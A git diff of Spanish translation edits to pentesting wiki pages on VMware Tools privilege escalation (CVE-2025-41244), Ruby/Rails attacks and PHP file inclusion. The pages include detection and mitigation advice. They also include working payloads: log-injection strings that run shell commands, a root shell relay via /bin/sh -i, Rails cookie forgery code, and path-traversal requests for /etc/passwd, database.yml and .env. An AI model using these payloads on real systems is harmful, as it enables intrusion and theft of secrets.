-- Esta clase de bugs surge de confiar en valores derivados del estado de cliente no privilegiado (TIDs) y enlazarlos a signal handlers o a lógica privilegiada.
-- Endurecer haciendo cumplir las credentials en el socket, validando los message formats y desacoplando las operaciones privilegiadas de los thread identifiers suministrados externamente.
+- Esta clase de bugs surge de confiar en valores derivados del estado de cliente sin privilegios (TIDs) y de vincularlos a manejadores de señales o a lógica privilegiada.
+- Endurecer forzando la verificación de credenciales en el socket, validando los formatos de mensaje y desacoplando las operaciones privilegiadas de los identificadores de hilo proporcionados externamente.
## Referencias
diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
index 141de134e..3da42cc12 100644
--- a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
+++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
@@ -2,22 +2,22 @@
{{#include ../../banners/hacktricks-training.md}}
-Esta técnica abusa de pipelines de service discovery impulsados por regex que analizan las command lines de procesos en ejecución para inferir versiones de servicio y luego ejecutar un candidate binary con una bandera "version". Cuando patrones permisivos aceptan rutas no confiables controladas por el atacante (p. ej., /tmp/httpd), el privileged collector ejecuta un binary arbitrario desde una ubicación no confiable, produciendo local privilege escalation. NVISO documentó esto en VMware Tools/Aria Operations Service Discovery como CVE-2025-41244.
+Esta técnica abusa de pipelines de service discovery impulsadas por regex que parsean las líneas de comando de procesos en ejecución para inferir versiones de servicios y luego ejecutan un binario candidato con una bandera de "version". Cuando patrones permisivos aceptan rutas no confiables controladas por el atacante (p. ej., /tmp/httpd), el collector privilegiado ejecuta un binario arbitrario desde una ubicación no confiable, provocando una elevación de privilegios local. NVISO documentó esto en VMware Tools/Aria Operations Service Discovery como CVE-2025-41244.
-- Impact: Local privilege escalation to root (or to the privileged discovery account)
+- Impact: Elevación de privilegios local a root (o a la cuenta de discovery privilegiada)
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
-## Cómo funciona VMware service discovery (a alto nivel)
+## How VMware service discovery works (high level)
-- Credential-based (legacy): Aria ejecuta discovery scripts dentro del guest vía VMware Tools usando privileged credentials configuradas.
-- Credential-less (modern): Discovery logic se ejecuta dentro de VMware Tools, ya privileged en el guest.
+- Credential-based (legacy): Aria ejecuta discovery scripts dentro del guest vía VMware Tools usando credenciales privilegiadas configuradas.
+- Credential-less (modern): La lógica de discovery se ejecuta dentro de VMware Tools, ya privilegiada en el guest.
-Ambos modos finalmente ejecutan lógica de shell que escanea procesos con sockets en escucha, extrae un command path coincidente vía regex, y ejecuta el primer token argv con un version flag.
+Ambos modos, en última instancia, ejecutan lógica de shell que escanea procesos con sockets en escucha, extrae una ruta de comando coincidente mediante una regex y ejecuta el primer token argv con una bandera de versión.
-## Causa raíz y patrón vulnerable (open-vm-tools)
+## Root cause and vulnerable pattern (open-vm-tools)
-En open-vm-tools, el script plugin serviceDiscovery get-versions.sh hace matching de candidate binaries usando expresiones regulares amplias y ejecuta el primer token sin ninguna validación de trusted-path:
+En open-vm-tools, el serviceDiscovery plugin script get-versions.sh hace coincidir binarios candidatos usando expresiones regulares amplias y ejecuta el primer token sin ninguna validación de ruta confiable:
```bash
get_version() {
PATTERN=$1
@@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
done
}
```
-Se invoca con patrones permisivos que contienen \S (sin espacios en blanco) que coinciden con rutas que no pertenecen al sistema en ubicaciones escribibles por el usuario:
+Se invoca con patrones permisivos que contienen \S (carácter que no es espacio en blanco) que coincidirán fácilmente con non-system paths en user-writable locations:
```bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
@@ -43,18 +43,18 @@ get_version "/\S+/dataserver($|\s)" -v
Esto crea un untrusted search path execution primitive: binarios arbitrarios ubicados en directorios world-writable (p. ej., /tmp/httpd) son ejecutados por un componente privilegiado.
-## Explotación (tanto en modos sin credenciales como con credenciales)
+## Explotación (tanto en modo sin credenciales como con credenciales)
Precondiciones
-- Puedes ejecutar un proceso sin privilegios que abra un listening socket en el guest.
-- La tarea de discovery está habilitada y se ejecuta periódicamente (históricamente ~5 minutos).
+- Puedes ejecutar un proceso sin privilegios que abra un socket de escucha en el guest.
+- La tarea de descubrimiento está habilitada y se ejecuta periódicamente (históricamente ~5 minutos).
Pasos
-1) Coloca (stage) un binario en una ruta que coincida con uno de los regex permisivos, p. ej. /tmp/httpd o ./nginx
-2) Ejecútalo como un usuario con pocos privilegios y asegúrate de que abra algún listening socket
-3) Espera al ciclo de descubrimiento; el privileged collector ejecutará automáticamente: /tmp/httpd -v (o similar), ejecutando tu programa como root
+1) Coloca un binario en una ruta que coincida con uno de los regex permisivos, p. ej. /tmp/httpd o ./nginx
+2) Ejecútalo como un usuario de bajos privilegios y asegúrate de que abra cualquier socket de escucha
+3) Espera el ciclo de discovery; el collector privilegiado ejecutará automáticamente: /tmp/httpd -v (o similar), ejecutando tu programa como root
-Demo mínima (utilizando el enfoque de NVISO)
+Demostración mínima (usando el enfoque de NVISO)
```bash
# Build any small helper that:
# - default mode: opens a dummy TCP listener
@@ -70,56 +70,56 @@ Linaje típico de procesos
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
Artefactos (credential-based)
-Los SDMP wrapper scripts recuperados en /tmp/VMware-SDMP-Scripts-{UUID}/ pueden mostrar la ejecución directa de la ruta maliciosa:
+Los scripts wrapper SDMP recuperados bajo /tmp/VMware-SDMP-Scripts-{UUID}/ pueden mostrar la ejecución directa de la ruta maliciosa:
```bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
```
-## Generalizing the technique: regex-driven discovery abuse (portable pattern)
+## Generalizando la técnica: regex-driven discovery abuse (portable pattern)
-Muchos agentes y suites de monitorización implementan el descubrimiento de versiones/servicios mediante:
+Muchos agentes y suites de monitorización implementan discovery de versiones/servicios mediante:
- Enumerar procesos con sockets en escucha
-- Grepear argv/command lines con regexes permisivos (por ejemplo, patrones que contienen \S)
-- Ejecutar la ruta que coincide con una bandera benigna como -v, --version, -V, -h
+- Grepear argv/líneas de comando con regex permisivos (p. ej., patrones que contienen \S)
+- Ejecutar la ruta que coincide con una flag benigna como -v, --version, -V, -h
-Si la regex acepta rutas no confiables y la ruta se ejecuta desde un contexto privilegiado, se obtiene CWE-426 Untrusted Search Path execution.
+Si la regex acepta rutas no confiables y la ruta se ejecuta desde un contexto privilegiado, se produce CWE-426 Untrusted Search Path execution.
Abuse recipe
-- Nombra tu binario como daemons comunes que la regex probablemente coincida: httpd, nginx, mysqld, dataserver
+- Nombra tu binario como demonios comunes que la regex probablemente vaya a coincidir: httpd, nginx, mysqld, dataserver
- Colócalo en un directorio escribible: /tmp/httpd, ./nginx
- Asegúrate de que coincida con la regex y abra cualquier puerto para ser enumerado
- Espera al collector programado; obtendrás una invocación privilegiada automática de -v
-Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
+Masquerading note: Esto se alinea con MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) para aumentar la probabilidad de coincidencia y el sigilo.
-Reusable privileged I/O relay trick
-- Construye tu helper de modo que, en la invocación privilegiada (-v/--version), se conecte a un rendezvous conocido (por ejemplo, un UNIX socket abstracto de Linux como @cve) y bridgee stdio a /bin/sh -i. Esto evita artefactos en disco y funciona en muchos entornos donde el mismo binario se re-invoca con una bandera.
+Truco reutilizable de relevo I/O privilegiado
+- Construye tu helper de forma que, en la invocación privilegiada (-v/--version), se conecte a un rendezvous conocido (p. ej., un socket UNIX abstracto de Linux como @cve) y haga puente entre stdio y /bin/sh -i. Esto evita artefactos en disco y funciona en muchos entornos donde el mismo binario se re-invoca con una flag.
## Detection and DFIR guidance
Hunting queries
- Hijos poco comunes de vmtoolsd o get-versions.sh como /tmp/httpd, ./nginx, /tmp/mysqld
-- Cualquier ejecución de rutas absolutas no del sistema por scripts de discovery (busca espacios en expansiones ${COMMAND%%...})
+- Cualquier ejecución de rutas absolutas no del sistema por scripts de discovery (buscar espacios en expansiones ${COMMAND%%...})
- ps -ef --forest para visualizar árboles de ascendencia: vmtoolsd -> get-versions.sh ->
On Aria SDMP (credential-based)
-- Inspecciona /tmp/VMware-SDMP-Scripts-{UUID}/ en busca de scripts transitorios y artefactos stdout/stderr que muestren la ejecución de rutas del atacante
+- Inspeccionar /tmp/VMware-SDMP-Scripts-{UUID}/ en busca de scripts transitorios y artefactos stdout/stderr que muestren la ejecución de rutas del atacante
Policy/telemetry
- Alertar cuando collectors privilegiados ejecuten desde prefijos no del sistema: ^/(tmp|home|var/tmp|dev/shm)/
-- File integrity monitoring sobre get-versions.sh y plugins de VMware Tools
+- Monitoreo de integridad de archivos en get-versions.sh y plugins de VMware Tools
## Mitigations
-- Patch: Aplica actualizaciones de Broadcom/VMware para CVE-2025-41244 (Tools and Aria Operations SDMP)
-- Disable o restringe el discovery sin credenciales cuando sea factible
-- Valida rutas de confianza: restringe la ejecución a directorios allowlisted (/usr/sbin, /usr/bin, /sbin, /bin) y únicamente a binarios exactos conocidos
-- Evita regexes permisivos con \S; prefiere rutas absolutas ancladas y nombres de comando exactos
-- Reduce privilegios de los helpers de discovery cuando sea posible; aplica sandbox (seccomp/AppArmor) para minimizar el impacto
-- Monitorea y genera alertas sobre vmtoolsd/get-versions.sh ejecutando rutas no del sistema
+- Parche: Aplicar actualizaciones de Broadcom/VMware para CVE-2025-41244 (Tools and Aria Operations SDMP)
+- Deshabilitar o restringir discovery sin credenciales cuando sea factible
+- Validar rutas confiables: restringir la ejecución a directorios en la lista permitida (/usr/sbin, /usr/bin, /sbin, /bin) y solo a binarios exactos conocidos
+- Evitar regex permisivos con \S; preferir rutas absolutas ancladas y nombres de comando exactos
+- Reducir privilegios de los helpers de discovery cuando sea posible; aplicar sandbox (seccomp/AppArmor) para minimizar el impacto
+- Monitorear y alertar sobre ejecuciones de vmtoolsd/get-versions.sh desde rutas no del sistema
-## Notes for defenders and implementers
+## Notas para defensores e implementadores
-Safer matching and execution pattern
+Patrón más seguro de matching y ejecución
```bash
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
@@ -137,8 +137,8 @@ esac
```
## Referencias
-- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
-- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
+- [NVISO – Como lo llames, VMware lo eleva (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
+- [Aviso de Broadcom para CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
index 2ebd93437..c31761c9d 100644
--- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md
+++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
@@ -4,46 +4,46 @@
## Subida de archivos a RCE
-Como se explica en [this article](https://www.offsec.com/blog/cve-2024-46986/), subir un archivo `.rb` a directorios sensibles como `config/initializers/` puede llevar a remote code execution (RCE) en aplicaciones Ruby on Rails.
+As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
-Tips:
-- Otras ubicaciones de boot/eager-load que se ejecutan al iniciar la app también son riesgosas si son escribibles (p. ej., `config/initializers/` es la clásica). Si encuentras una subida arbitraria de archivos que cae en cualquier lugar bajo `config/` y luego se evalúa/requirea, puedes obtener RCE al arranque.
-- Busca dev/staging builds que copien archivos controlados por el usuario dentro de la imagen del contenedor donde Rails los cargará en el boot.
+Consejos:
+- Otras ubicaciones de boot/eager-load que se ejecutan al iniciar la app también son peligrosas si son escribibles (p. ej., `config/initializers/` es la clásica). Si encuentras una subida de archivos arbitraria que termine en cualquier sitio bajo `config/` y luego se evalúa/requirea, podrías obtener RCE en el arranque.
+- Busca builds de dev/staging que copien archivos controlados por el usuario dentro de la imagen del contenedor donde Rails los cargará al iniciar.
## Active Storage image transformation → command execution (CVE-2025-24293)
-Cuando una aplicación usa Active Storage con `image_processing` + `mini_magick`, y pasa parámetros no confiables a los métodos de transformación de imágenes, las versiones de Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podrían permitir inyección de comandos porque algunos métodos de transformación fueron permitidos por error por defecto.
+Cuando una aplicación usa Active Storage con `image_processing` + `mini_magick`, y pasa parámetros no confiables a los métodos de transformación de imagen, las versiones de Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podrían permitir inyección de comandos porque algunos métodos de transformación fueron permitidos por defecto por error.
-- Un patrón vulnerable se ve así:
+- A vulnerable pattern looks like:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
-donde `params[:t]` y/o `params[:v]` están controlados por el atacante.
+where `params[:t]` and/or `params[:v]` are attacker-controlled.
- Qué probar durante las pruebas
-- Identifica endpoints que acepten opciones de variant/processing, nombres de transformación, o argumentos arbitrarios de ImageMagick.
-- Fuzz `params[:t]` y `params[:v]` buscando errores sospechosos o efectos secundarios de ejecución. Si puedes influir en el nombre del método o pasar argumentos raw que lleguen a MiniMagick, podrías conseguir code exec en el host que procesa las imágenes.
-- Si solo tienes acceso de lectura a las variantes generadas, intenta blind exfiltration vía operaciones de ImageMagick especialmente construidas.
+- Identifica endpoints que acepten opciones de variant/processing, nombres de transformación o argumentos arbitrarios de ImageMagick.
+- Fuzzea `params[:t]` y `params[:v]` buscando errores sospechosos o efectos secundarios de ejecución. Si puedes influir en el nombre del método o pasar argumentos crudos que lleguen a MiniMagick, podrías lograr ejecución de código en el host que procesa las imágenes.
+- Si solo tienes acceso de lectura a variantes generadas, intenta exfiltración ciega mediante operaciones de ImageMagick manipuladas.
-- Remediación/detecciones
-- Si ves Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + `image_processing` + `mini_magick` y transformaciones controladas por el usuario, considéralo explotable. Recomienda actualizar y aplicar listas blancas estrictas para métodos/params y una política de ImageMagick más hardening.
+- Mitigación/detecciones
+- Si ves Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + `image_processing` + `mini_magick` y transformaciones controladas por el usuario, considéralo explotable. Recomienda actualizar y aplicar listas blancas estrictas para métodos/params y una política de ImageMagick endurecida.
## Rack::Static LFI / path traversal (CVE-2025-27610)
-Si el stack objetivo usa middleware de Rack directamente o vía frameworks, versiones de `rack` anteriores a 2.2.13, 3.0.14 y 3.1.12 permiten Local File Inclusion vía `Rack::Static` cuando `:root` no está establecido/mal configurado. Traversal codificado en `PATH_INFO` puede exponer archivos bajo el working directory del proceso o un root inesperado.
+Si el stack objetivo usa middleware de Rack directamente o vía frameworks, versiones de `rack` anteriores a 2.2.13, 3.0.14 y 3.1.12 permiten Local File Inclusion vía `Rack::Static` cuando `:root` no está seteado/mal configurado. Traversal codificado en `PATH_INFO` puede exponer archivos bajo el working directory del proceso o un root inesperado.
-- Busca apps que monten `Rack::Static` en `config.ru` o en las pilas de middleware. Prueba traversals codificados contra rutas estáticas, por ejemplo:
+- Busca apps que monten `Rack::Static` en `config.ru` o en stacks de middleware. Prueba traversals codificados contra rutas estáticas, por ejemplo:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
-Ajusta el prefijo para que coincida con los `urls:` configurados. Si la app responde con el contenido del archivo, probablemente tengas LFI a cualquier cosa bajo el `:root` resuelto.
+Ajusta el prefijo para que coincida con los `urls:` configurados. Si la app responde con el contenido del archivo, probablemente tengas LFI hacia cualquier cosa bajo el `:root` resuelto.
-- Mitigación: actualizar Rack; asegurar que `:root` solo apunte a un directorio de archivos públicos y esté establecido explícitamente.
+- Mitigación: upgrade Rack; asegúrate de que `:root` solo apunte a un directorio de archivos públicos y esté explícitamente seteado.
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
-Rails cifra y firma cookies usando claves derivadas de `secret_key_base`. Si ese valor leaks (p. ej., en un repo, logs, o credenciales mal configuradas), usualmente puedes descifrar, modificar y volver a cifrar cookies. Esto a menudo conduce a bypass de authz si la app almacena roles, user IDs, o feature flags en cookies.
+Rails cifra y firma cookies usando claves derivadas de `secret_key_base`. Si ese valor se filtra (p. ej., en un repo, logs o credenciales mal configuradas), normalmente puedes descifrar, modificar y volver a cifrar cookies. Esto con frecuencia conduce a bypass de authz si la app almacena roles, user IDs o feature flags en cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
```ruby
@@ -71,10 +71,10 @@ forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
Notas:
-- Las aplicaciones más antiguas pueden usar AES-256-CBC y salts `encrypted cookie` / `signed encrypted cookie`, o serializadores JSON/Marshal. Ajusta salts, cipher y serializer según corresponda.
-- En caso de compromiso/evaluación, rota `secret_key_base` para invalidar todas las cookies existentes.
+- Las apps más antiguas pueden usar AES-256-CBC y salts `encrypted cookie` / `signed encrypted cookie`, o JSON/Marshal serializers. Ajusta salts, cipher y serializer en consecuencia.
+- Tras una compromisión/evaluación, rota `secret_key_base` para invalidar todas las cookies existentes.
-## Ver también (Ruby/Rails-specific vulns)
+## Véase también (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution:
{{#ref}}
@@ -86,15 +86,89 @@ Notas:
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
-- Template injection en los motores de Ruby (ERB/Haml/Slim, etc.):
+- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
+## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
+Cuando una app (a menudo un endpoint simple de Rack/Sinatra/Rails) cumple ambas:
+- registra una cadena controlada por el usuario literalmente, y
+- más tarde `load`s un archivo cuya ruta se deriva de esa misma cadena (después de `Pathname#cleanpath`),
+
+A menudo puedes lograr ejecución remota de código envenenando el registro y luego forzando a la app a `load` el archivo de registro. Primitivas clave:
+
+- Ruby `load` evalúa el contenido del archivo objetivo como Ruby sin importar la extensión. Cualquier archivo de texto legible cuyo contenido se interprete como Ruby será ejecutado.
+- `Pathname#cleanpath` colapsa los segmentos `.` y `..` sin tocar el sistema de archivos, permitiendo path smuggling: basura controlada por el atacante puede ser antepuesta para el registro mientras la ruta limpiada sigue resolviendo al archivo previsto para ejecutar (p. ej., `../logs/error.log`).
+
+### Patrón vulnerable mínimo
+```ruby
+require 'logger'
+require 'pathname'
+
+logger = Logger.new('logs/error.log')
+param = CGI.unescape(params[:script])
+path_obj = Pathname.new(param)
+
+logger.info("Running backup script #{param}") # Raw log of user input
+load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
+```
+### Por qué el log puede contener Ruby válido
+`Logger` escribe líneas de prefijo como:
+```
+I, [9/2/2025 #209384] INFO -- : Running backup script
+```
+En Ruby, `#` inicia un comentario y `9/2/2025` es solo aritmética. Para inyectar código Ruby válido necesitas:
+- Comienza tu payload en una nueva línea para que no quede comentado por el `#` en la línea INFO; envía una newline inicial (`\n` o `%0A`).
+- Cierra el `[` suelto introducido por la línea INFO. Un truco común es empezar con `]` y, opcionalmente, contentar al parser con `][0]=1`.
+- Luego coloca código Ruby arbitrario (p. ej., `system(...)`).
+
+Ejemplo de lo que terminará en el log después de una solicitud con un parámetro construido:
+```
+I, [9/2/2025 #209384] INFO -- : Running backup script
+][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
+```
+### Smuggling de una sola cadena que tanto registra código como resuelve a la ruta del log
+Queremos una sola cadena controlada por el atacante que:
+- cuando se registra en bruto, contiene nuestra Ruby payload, y
+- cuando se pasa por `Pathname.new().cleanpath`, resuelve a `../logs/error.log` de modo que el posterior `load` ejecute el log file recién envenenado.
+
+`Pathname#cleanpath` ignora schemes y colapsa componentes de traversal, así que lo siguiente funciona:
+```ruby
+require 'pathname'
+
+p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
+puts p.cleanpath # => ../logs/error.log
+```
+- El `#` antes de `://` hace que Ruby ignore la cola cuando se ejecuta el log, mientras que `cleanpath` todavía reduce el sufijo a `../logs/error.log`.
+- El salto de línea inicial rompe la línea INFO; `]` cierra el corchete colgante; `][0]=1` satisface el parser.
+
+### Explotación de extremo a extremo
+1. Envía lo siguiente como el nombre del script de backup (codifica la primera nueva línea como `%0A` si es necesario):
+```
+\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
+```
+2. La app registra tu cadena sin procesar en `logs/error.log`.
+3. La app calcula `cleanpath` que resuelve a `../logs/error.log` y llama a `load` sobre él.
+4. Ruby ejecuta el código que inyectaste en el log.
+
+Para exfiltrar un archivo en un entorno tipo CTF:
+```
+\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
+```
+URL-encoded PoC (el primer carácter es un salto de línea):
+```
+%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
+```
## Referencias
-- Anuncio de seguridad de Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
-- Aviso de GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- Aviso de seguridad de Rails: CVE-2025-24293 — métodos de transformación inseguros de Active Storage (corregido en 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
+- Aviso de GitHub: Rack::Static — Inclusión de archivos locales (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- [Hardware Monitor Dojo-CTF #44: Log Injection a Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
+- [Documentación de Ruby Pathname.cleanpath](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
+- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
+- [Cómo funciona load en Ruby](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
index 616672853..b46e6ae9a 100644
--- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
+++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
@@ -3,7 +3,7 @@
{{#include ../../banners/hacktricks-training.md}}
-## Enumeración
+## Enumeration
```bash
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p
msf> use auxiliary/scanner/vmware/esx_fingerprint
@@ -17,7 +17,7 @@ Si encuentras credenciales válidas, puedes usar más metasploit scanner modules
### Véase también
-Linux LPE mediante el descubrimiento de servicios de VMware Tools (CWE-426 / CVE-2025-41244):
+Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
{{#ref}}
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md
index d4d8a2939..a755d93e8 100644
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@@ -4,10 +4,10 @@
## File Inclusion
-**Remote File Inclusion (RFI):** El archivo se carga desde un servidor remoto (Lo mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\
+**Remote File Inclusion (RFI):** El archivo se carga desde un servidor remoto (Mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\
**Local File Inclusion (LFI):** El servidor carga un archivo local.
-La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que el servidor va a cargar.
+La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.
Funciones **PHP** vulnerables: require, require_once, include, include_once
@@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
-**Combinando varias listas LFI de \*nix y añadiendo más rutas he creado esta:**
+**Mezclando varias listas LFI de \*nix y añadiendo más rutas he creado esta:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
-Prueba también a cambiar `/` por `\`\
-Prueba también a añadir `../../../../../`
+Try also to change `/` for `\`\
+Try also to add `../../../../../`
-Una lista que usa varias técnicas para encontrar el archivo /etc/password (para comprobar si la vulnerabilidad existe) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
+Una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para comprobar si existe la vulnerabilidad) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
@@ -40,22 +40,22 @@ Fusión de diferentes wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
-Prueba también a cambiar `/` por `\`\
-Prueba también a eliminar `C:/` y añadir `../../../../../`
+Try also to change `/` for `\`\
+Try also to remove `C:/` and add `../../../../../`
-Una lista que usa varias técnicas para encontrar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
+Una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para comprobar si existe la vulnerabilidad) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
-Revisa la lista LFI de Linux.
+Consulta la lista LFI de linux.
-## LFI básico y bypasses
+## Básico LFI y bypasses
Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\]().
```
http://example.com/index.php?page=../../../etc/passwd
```
-### Secuencias traversal eliminadas de forma no recursiva
+### traversal sequences eliminadas de forma no recursiva
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@@ -71,7 +71,7 @@ Esto está **resuelto desde PHP 5.4**
### **Codificación**
-Podrías usar codificaciones no estándar como double URL encode (y otras):
+Puedes usar codificaciones no estándar como double URL encode (y otras):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Desde una carpeta existente
-Quizás el back-end está comprobando la ruta de la carpeta:
+Quizás el back-end esté comprobando la ruta de la carpeta:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Explorando directorios del sistema de archivos en un servidor
-El sistema de archivos de un servidor puede explorarse recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad de directorio y sondar la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto:
+El sistema de archivos de un servidor puede explorarse de forma recursiva para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se muestra un método detallado para lograrlo:
-1. **Determine Directory Depth:** Averigüe la profundidad de su directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor está basado en Linux). Una URL de ejemplo podría estructurarse de la siguiente manera, indicando una profundidad de tres:
+1. **Determinar la profundidad del directorio:** Determina la profundidad de tu directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor es Linux). Una URL de ejemplo podría estructurarse de la siguiente manera, indicando una profundidad de tres:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
-2. **Sondear carpetas:** Añade el nombre de la carpeta sospechosa (p. ej., `private`) a la URL, luego vuelve a `/etc/passwd`. El nivel adicional de directorio requiere incrementar la profundidad en uno:
